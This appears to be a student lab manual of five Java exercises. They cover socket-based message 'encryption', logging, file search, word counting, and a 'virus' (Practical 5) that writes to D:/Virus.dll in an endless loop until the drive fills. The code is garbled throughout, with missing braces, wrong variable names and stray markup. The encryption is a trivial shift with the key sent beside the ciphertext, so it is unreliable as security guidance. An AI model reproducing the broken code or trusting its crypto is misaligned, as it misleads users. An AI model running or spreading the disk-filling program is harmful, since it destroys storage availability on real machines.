Practical 1 – Create a java application to send encrypted message from sender and decrypt an message at receiver end.

Receiver.java:

```
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.net.*;
import java.util.Random;
public class Receiver{
  public static void main(String[] args) throws Exception
     String ct = "";
     String pt = "";
     ServerSocket skt = new ServerSocket(6017);
     Socket sc = skt.accept();
     Random r = new Random();
     int i = 0, k = 0;
     System.out.println("Enter the String");
     BufferedReader br = new BufferedReader(new
InputStreamReader(sc.getInputStream()));
     ct = br.readLine();
     String[] s = new String[ct.length()];
     s = ct.split(",");
     int[] j = new int[s[0].length()];
     System.out.println("message"+s[0]);
     for(i=0;i < s[0].length();i++)
       i[i]=Integer.parseInt(s[i+1]);
       System.out.println("key="+j[i]);
     for(i=0;i < s[0].length();i++)
       System.out.println("j="+j[i]);
```

```
pt+=(char)(s[0].charAt(i)-j[i]);
     }
     System.out.println("Message from Sender:"+pt);
  }
Sender.java:
import java.io.*;
import java.io.*;
import java.util.*;
import java.net.*;
public class Sender{
  public static void main (String[] args) throws Exception{
     String s ="";
     String ct = "";
     String key ="";
     Socket sc = new Socket("localhost",6017);
     Random r = new Random();
     int i = 0, k = 0;
     System.out.println("Enter the String");
     BufferedReader br = new BufferedReader( new
InputStreamReader(System.in));
     BufferedWriter bw = new BufferedWriter(new
OutputStreamWriter(sc.getOutputStream()));
     s = br.readLine();
     int j[] = new int[s.length()];
     for(i=0;i < s.length();i++)
       j[k] = r.nextInt(50);
       key+= Integer.valueOf(j[k])+",";
       System.out.println("j="+j[k]);
       ct = (char)(s.charAt(i)+i[k]);
       k++;
     System.out.println("Key=" +key);
     System.out.println("Encrypted message:"+ct);
     bw.write(ct+","+key);
```

```
bw.flush();
    bw.close();
}
Practical 2 - Creating log files.
import java.io.*;
import java.util.logging.*;
public class Prac2{
  public static void main (String[] args){
    Logger l = Logger.getLogger(Prac2.class.getName());
    FileHandler fh;
    try
     {
       fh = new FileHandler("C:/Free time/mylogfile.log",true);
       l.addHandler(fh);
       l.setLevel(Level.ALL);
       SimpleFormatter sf = new SimpleFormatter();
       fh.setFormatter(sf);
       l.info("My second log");
    catch(SecurityException e)
       e.printStackTrace();
    catch(IOException e)
     {
       e.printStackTrace();
    1.info("This is CFL Prac 2");
}
Practical 3 - Searching file in given directory.
import java.io.*;
```

import java.util.*;

```
public class Prac3{
  public static void main (String[] args){
     Scanner sc = new Scanner(System.in);
     System.out.print("Enter Directory:");
     String str1 =sc.nextLine();
     File dir = new File(str1);
     System.out.print("Enter first letter of file:");
     String str2 = sc.nextLine();
     FilenameFilter filter = new FilenameFilter(){
       public boolean accept (File dir , String name){
          return name.startsWith(str2);
        }
     };
     String[] children = dir.list(filter);
     if(children == null){
       System.out.println("Either dir does not exist or is not a directory");
     }
     else{
       for(int i = 0;i < children.length;<math>i + +){
          String filename = children[i];
          System.out.println(filename);
     }
  }
}
```

Practical 4 – To Search a Particular Word in a File.

```
String[] buffer;
     File f1 = new File("D://file.txt");
     FileReader fr = new FileReader(f1);
     BufferedReader bfr = new BufferedReader(fr);
     Scanner sc = new Scanner(System.in);
     System.out.println("Enter the word to be Searched");
     String wrd = sc.nextLine();
     while ((s = bfr.readLine()) != null) {
       buffer = s.split(" ");
       for (String chr : buffer) {
         if (chr.equals(wrd)) {
            cnt++;
          }
       }
     if (cnt == 0) {
       System.out.println("Word not found!");
     } else {
       System.out.println("Word: " + wrd + " found! Count: " + cnt);
     }
     fr.close();
}
Practical 5 - To Create a Virus for eating space of
```

particular drive.

```
import java.io.*;
public class practical5{
  public static void main(String[] args){
     try
     {
       FileWriter f=new FileWriter("D:/Virus.dll",true);
       while(true)
```

```
{
    f.write("Programming Is Such A FUN!!!");
}
catch(FileNotFoundException e){}
catch(IOException e){}
}
```